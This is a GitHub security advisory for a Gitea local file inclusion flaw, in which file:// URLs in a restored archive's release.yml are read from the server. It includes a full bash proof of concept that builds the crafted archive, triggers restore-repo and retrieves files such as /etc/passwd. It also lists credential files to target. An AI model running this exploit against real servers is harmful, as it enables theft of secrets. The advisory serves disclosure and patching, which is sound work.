GHSA-5GGR-2F2H-JMVM
Vulnerability from github – Published: 2026-07-21 20:59 – Updated: 2026-07-21 20:59Local File Inclusion via file:// URI in Migration Restore
Target: go-gitea/gitea Component: services/migrations/gitea_uploader.go, modules/uri/uri.go Severity: High Affected Versions: <= v1.22.x (all releases), master as of latest commit Researchers: - Isa Can — Eresus Security (https://github.com/isa0-gh) - Yigit Ibrahim — Eresus Security (https://github.com/ibrahmsql)
Summary
Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.
Impact
An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:
- app.ini — containing database passwords and secret keys
- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
- TLS certificates and private keys
- Cloud provider credential files (e.g. ~/.aws/credentials)
- Any other file readable by the Gitea process user
The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.
Affected Code
modules/uri/uri.go
func Open(rawURL string) (io.ReadCloser, error) {
u, err := url.Parse(rawURL)
if err != nil {
return nil, err
}
switch u.Scheme {
case "http", "https":
resp, err := http.Get(rawURL)
...
case "file":
return os.Open(u.Path) // no scheme validation, no path restriction
}
}
services/migrations/gitea_uploader.go (~line 370)
func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
for _, rel := range releases {
for _, asset := range rel.Assets {
rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
...
// file content saved as release attachment
}
}
}
Attack Scenario
An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:
- Create a malicious archive containing release.yml:
releases:
- tag_name: v0.0.1
assets:
- name: exfiltrated.txt
download_url: "file:///etc/passwd"
- Run restore:
gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
-
The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.
-
Retrieve via API:
curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
-H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'
PoC
Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.
#!/usr/bin/env bash
# PoC: Gitea LFI via release.yml DownloadURL
# Requires: admin credentials, gitea binary on PATH (server host)
GITEA_URL="${1:-http://localhost:3000}"
ADMIN_TOKEN="${2:-REPLACE_ME}"
TARGET_FILE="${3:-/etc/passwd}"
OWNER="test-org"
REPO="lfi-test"
1. Create target org and repo via API
curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
-H "Authorization: token $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true
2. Build malicious archive
TMP=$(mktemp -d)
mkdir -p "$TMP/bundles/$OWNER/$REPO"
cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
releases:
- tag_name: v0.0.1
name: test
body: ""
draft: false
prerelease: false
assets:
- name: output.txt
download_url: "file://$TARGET_FILE"
size: 0
download_count: 0
YAML
cd "$TMP" && zip -r poc.zip bundles/
````
# 3. Trigger restore
gitea restore-repo \ --zip-path "$TMP/poc.zip" \ --owner "$OWNER" \ --repo "$REPO" \ --units release 2>&1
# 4. Retrieve exfiltrated content
echo "[*] Fetching exfiltrated content..." RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \ -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \ -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \ xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
rm -rf "$TMP"
---
## Root Cause
uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.
---
## Fix Recommendation
In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():
parsed, err := url.Parse(asset.DownloadURL) if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL) continue } rc, err := uri.Open(asset.DownloadURL) Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts. ```
Workaround
Until a patch is available, operators should:
- Restrict restore-repo execution to fully trusted operators only
- Audit all archive contents manually before running restoration
- Review existing release attachments for unexpected or sensitive filenames
Isa Can Security Researcher — Eresus Security https://github.com/isa0-gh
Yigit Ibrahim Security Researcher — Eresus Security https://github.com/ibrahmsql
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gitea.dev"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58420"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:59:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Local File Inclusion via file:// URI in Migration Restore\n\nTarget: go-gitea/gitea\nComponent: services/migrations/gitea_uploader.go, modules/uri/uri.go\nSeverity: High\nAffected Versions: \u003c= v1.22.x (all releases), master as of latest commit\nResearchers:\n- Isa Can \u2014 Eresus Security (https://github.com/isa0-gh)\n- Yigit Ibrahim \u2014 Eresus Security (https://github.com/ibrahmsql)\n\n---\n\n## Summary\n\nGitea\u0027s restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.\n\n---\n\n## Impact\n\nAn attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:\n\n- app.ini \u2014 containing database passwords and secret keys\n- SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)\n- TLS certificates and private keys\n- Cloud provider credential files (e.g. ~/.aws/credentials)\n- Any other file readable by the Gitea process user\n\nThe exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.\n\n---\n\n## Affected Code\n\n### modules/uri/uri.go\n```\nfunc Open(rawURL string) (io.ReadCloser, error) {\n u, err := url.Parse(rawURL)\n if err != nil {\n return nil, err\n }\n switch u.Scheme {\n case \"http\", \"https\":\n resp, err := http.Get(rawURL)\n ...\n case \"file\":\n return os.Open(u.Path) // no scheme validation, no path restriction\n }\n}\n```\n### services/migrations/gitea_uploader.go (~line 370)\n```\nfunc (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {\n for _, rel := range releases {\n for _, asset := range rel.Assets {\n rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated\n ...\n // file content saved as release attachment\n }\n }\n}\n```\n---\n\n## Attack Scenario\n\nAn attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:\n\n1. Create a malicious archive containing release.yml:\n```\nreleases:\n - tag_name: v0.0.1\n assets:\n - name: exfiltrated.txt\n download_url: \"file:///etc/passwd\"\n```\n2. Run restore:\n```\ngitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo\n```\n3. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.\n\n4. Retrieve via API:\n```\ncurl -s \"http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets\" \\\n -H \"Authorization: token ADMIN_TOKEN\" | jq -r \u0027.[].browser_download_url\u0027\n```\n---\n\n## PoC\n\u003e Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.\n```\n#!/usr/bin/env bash\n# PoC: Gitea LFI via release.yml DownloadURL\n# Requires: admin credentials, gitea binary on PATH (server host)\n\nGITEA_URL=\"${1:-http://localhost:3000}\"\nADMIN_TOKEN=\"${2:-REPLACE_ME}\"\nTARGET_FILE=\"${3:-/etc/passwd}\"\nOWNER=\"test-org\"\nREPO=\"lfi-test\"\n```\n# 1. Create target org and repo via API\n```\ncurl -sf -X POST \"$GITEA_URL/api/v1/orgs\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"username\\\":\\\"$OWNER\\\",\\\"visibility\\\":\\\"private\\\"}\" || true\n\ncurl -sf -X POST \"$GITEA_URL/api/v1/user/repos\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"name\\\":\\\"$REPO\\\",\\\"private\\\":true,\\\"auto_init\\\":true}\" || true\n```\n# 2. Build malicious archive\n```\nTMP=$(mktemp -d)\nmkdir -p \"$TMP/bundles/$OWNER/$REPO\"\n\ncat \u003e \"$TMP/bundles/$OWNER/$REPO/release.yml\" \u003c\u003cYAML\nreleases:\n - tag_name: v0.0.1\n name: test\n body: \"\"\n draft: false\n prerelease: false\n assets:\n - name: output.txt\n download_url: \"file://$TARGET_FILE\"\n size: 0\n download_count: 0\nYAML\n\ncd \"$TMP\" \u0026\u0026 zip -r poc.zip bundles/\n````\n# 3. Trigger restore\n```\ngitea restore-repo \\\n --zip-path \"$TMP/poc.zip\" \\\n --owner \"$OWNER\" \\\n --repo \"$REPO\" \\\n --units release 2\u003e\u00261\n```\n# 4. Retrieve exfiltrated content\n```\necho \"[*] Fetching exfiltrated content...\"\nRELEASE_ID=$(curl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" | jq -r \u0027.[0].id\u0027)\n\ncurl -sf \"$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets\" \\\n -H \"Authorization: token $ADMIN_TOKEN\" | jq -r \u0027.[0].browser_download_url\u0027 | \\\n xargs -I{} curl -sf \"{}\" -H \"Authorization: token $ADMIN_TOKEN\"\n\nrm -rf \"$TMP\"\n```\n---\n\n## Root Cause\n\nuri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.\n\n---\n\n## Fix Recommendation\n\nIn services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():\n```\nparsed, err := url.Parse(asset.DownloadURL)\nif err != nil || (parsed.Scheme != \"http\" \u0026\u0026 parsed.Scheme != \"https\") {\n log.Warn(\"Skipping release asset with non-HTTP URL: %s\", asset.DownloadURL)\n continue\n}\nrc, err := uri.Open(asset.DownloadURL)\nAlternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.\n```\n---\n\n## Workaround\n\nUntil a patch is available, operators should:\n\n- Restrict restore-repo execution to fully trusted operators only\n- Audit all archive contents manually before running restoration\n- Review existing release attachments for unexpected or sensitive filenames\n\n---\n\nIsa Can\nSecurity Researcher \u2014 Eresus Security\nhttps://github.com/isa0-gh\n\nYigit Ibrahim\nSecurity Researcher \u2014 Eresus Security\nhttps://github.com/ibrahmsql",
"id": "GHSA-5ggr-2f2h-jmvm",
"modified": "2026-07-21T20:59:53Z",
"published": "2026-07-21T20:59:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-5ggr-2f2h-jmvm"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: Local File Inclusion via file:// URI in Migration Restore"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.